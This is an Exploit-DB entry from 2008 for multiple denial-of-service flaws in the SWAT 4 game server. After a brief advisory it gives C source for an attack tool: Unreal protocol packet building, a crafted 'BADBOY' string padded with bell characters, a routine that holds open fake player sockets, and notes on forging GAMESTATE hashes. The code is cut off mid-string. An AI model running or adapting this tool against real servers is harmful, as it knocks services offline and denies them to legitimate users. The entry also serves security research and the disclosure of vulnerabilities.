Exploit-DB #32086
Description: SWAT 4 - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2008-07-20
Author: Luigi Auriemma

Exploit:
// source: https://www.securityfocus.com/bid/30299/info

SWAT 4 is prone to multiple remote denial-of-service vulnerabilities because the application fails to properly handle certain input.

An attacker may exploit these issues to crash the affected application, denying service to legitimate users.

SWAT 4 1.1 is vulnerable; other versions may also be affected. 

/*
    Copyright 2008 Luigi Auriemma

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA

    http://www.gnu.org/licenses/gpl.txt
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <ctype.h>
#include <time.h>
#include "rwbits.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
    #define stristr strcasestr
#endif

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;



#define VER         "0.1.1"
#define PORT        7777
#define BUFFSZ      4096     // the max supported is 576
#define HELLBELL    "BADBOY " \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a"

#define UT2_QUERY   "\x79\x00\x00\x00\x00"  // not used
#define GS1_QUERY   "\\info\\"              // \status\ returns 3 packets, I'm too lazy to handle all of them
#define GS2_QUERY   "\xfe\xfd\x00" "\x00\x00\x00\x00"                    "\xff\x00\x00" "\x00"
#define GS3_QUERY   "\xfe\xfd\x09" "\x00\x00\x00\x00"
#define GS3_QUERYX  "\xfe\xfd\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\xff\x00\x00" "\x00"



void fake_players_socket(int sd) {  // simple to add function for not closing sockets
    #define MAXFAKESOCKS    64
    static int  socks[MAXFAKESOCKS],
                socksp,
                init    = 1;
    int         i;

    if(init || (sd < 0)) {
        for(i = 0; i < MAXFAKESOCKS; i++) socks[i] = -1;
        socksp = 0;
        init   = 0;
        return;
    }
    if(socksp >= MAXFAKESOCKS) socksp = 0;
    if(socks[socksp] >= 0) close(socks[socksp]);
    socks[socksp] = sd;
    socksp++;
}
void activate_fix(int *fix);
int unreal_send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int *chall, u8 **errmsg);
u8 *rndhash(int size);
int unreal_info(u8 *buff, struct sockaddr_in *peer);
int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, int rear, ...);
void fgetz(u8 *data, int len);
int calc_authresp(int num);
int write_unrnum(int num, u8 *buff, int bits);
int read_unrnum(int *num, u8 *buff, int bits);
int write_unrser(int num, u8 *buff, int bits, int max);
u8 *unreal_parse_pck(u8 *buff, int size, int *chall);
int unreal_build_pck(u8 *buff, int pck, ...);
int read_unreal_index(u8 *index_num, int *ret);
int write_unreal_index(int number, u8 *index_num);
int read_bitmem(u8 *in, int inlen, u8 *out, int bits);
int write_bitmem(u8 *in, int inlen, u8 *out, int bits);
int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);



int     aafix           = 0,    // America's Army uses 0x800 instead of 0x3ff
        u3fix           = 0,    // Unreal 3 no longer uses index numbers
        rvfix           = 0,    // RavenShiel uses 0x50f instead of 0x3ff (this is useless since it's enough compatible with AA)
        pariahfix       = 0,    // Pariah
        movfix          = 0,    // Men of Valor
        //khgfix          = 0,    // Klingon Honor Guard uses readbits 16 1 9 16 3 and 12 instead of index numbers
        // unreal1fix, similar to above... not needed to support at the moment
        verbose         = 0,
        challenge_fix   = 0,
        hex_challenge   = 0,
        force_team      = 0,
        force_fix       = 0,
        send_verbose    = 0,
        fast_connect    = 1,
        first_time      = 1;
u8      *gamestatefix[] = {
        "",     // none
            // the order of the hash of GAMESTATE checked in memory is[PII_REDACTED][PII_REDACTED][PII_REDACTED]44
            //the second part of the GAMESTATE hash is the MD5 of "SCR3W3DD@P00CH" and the MD5 of the file (for example SwatGame.u)
            // Swat4 requires 32 successful GAMESTATEs, it's enough to send the same one 32 times,
            // but at the moment my tool doesn't support the sending of more packets
        "GAMESTATE FA1F998D4D4C2E5F492